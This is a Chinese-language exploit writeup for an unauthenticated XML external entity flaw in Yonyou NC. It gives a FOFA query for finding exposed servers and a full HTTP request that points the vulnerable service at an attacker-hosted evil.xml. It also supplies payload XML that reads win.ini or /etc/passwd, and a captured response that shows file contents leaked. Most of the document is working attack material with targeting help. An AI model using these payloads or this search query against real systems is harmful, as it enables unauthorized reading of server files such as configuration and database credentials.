

Y4-12用友-NC-XXE

漏洞描述:

用友 NC 多处接口存在XML实体注入漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

网站图片:



网络测绘:

fofa语法:

app="用友-UFIDA-NC"

漏洞复现:

payload:

```
GET /uapws/service/nc.itf.bd.crm.IAreaclExportToCrmService?xsd=http://VPS/evil.xml HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Connection: close
Accept: text/plain, */*; q=0.01
Accept-Encoding: gzip
```

任意文件读取利用，需要VPS上建立对应操作系统的xml文件，然后开启http服务。xml文件如下

```
windows:
<?xml version="1.0"?><!DOCTYPE test [<!ENTITY name SYSTEM "file:///c://windows/win.ini">]>
<user><username>&name;</username><password>1</password></user>

Linux:
<?xml version="1.0"?><!DOCTYPE test [<!ENTITY name SYSTEM "file:///etc/passwd">]>
<user><username>&name;</username><password>1</password></user>
```

效果图:

Request

< > 数据包扫描 添加数据 构造请求

1 GET /uapws/service/nc.itf.bd.crm.IAreaIExportToCrmService?xsd=http://.../evil.xml HTTP/1.1

2 Host: ...

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

4 Connection: close

5 Accept: text/plain,*/*; q=0.01

6 Accept-Encoding: gzip

7

8

Responses 539bytes / 232ms 美化 请输入定位响应

1 HTTP/1.1 200 OK

2 Server: Apache-Coyote/1.1

3 Set-Cookie: JSESSIONID=03CBF4960F2D4C67FF7BA39BC664EDCE.server; Path=/uapws

4 Content-Type: text/xml

5 Date: Wed, 28 Feb 2024 11:52:25 GMT

6 Connection: close

7 Content-Length: 539

8

9 <?xml version='1.0' encoding='UTF-8'?><user><username>; for 16-bit app support

10 [fonts]

11 [extensions]

12 [mci_extensions]

13 [files]

14 [Mail]

15 MAPI-1

16 [MCI_Extensions.BAK]

17 aif=MPEGVideo

18 aifc=MPEGVideo

19 aiff=MPEGVideo

20 asf=MPEGVideo

21 asx=MPEGVideo

22 au=MPEGVideo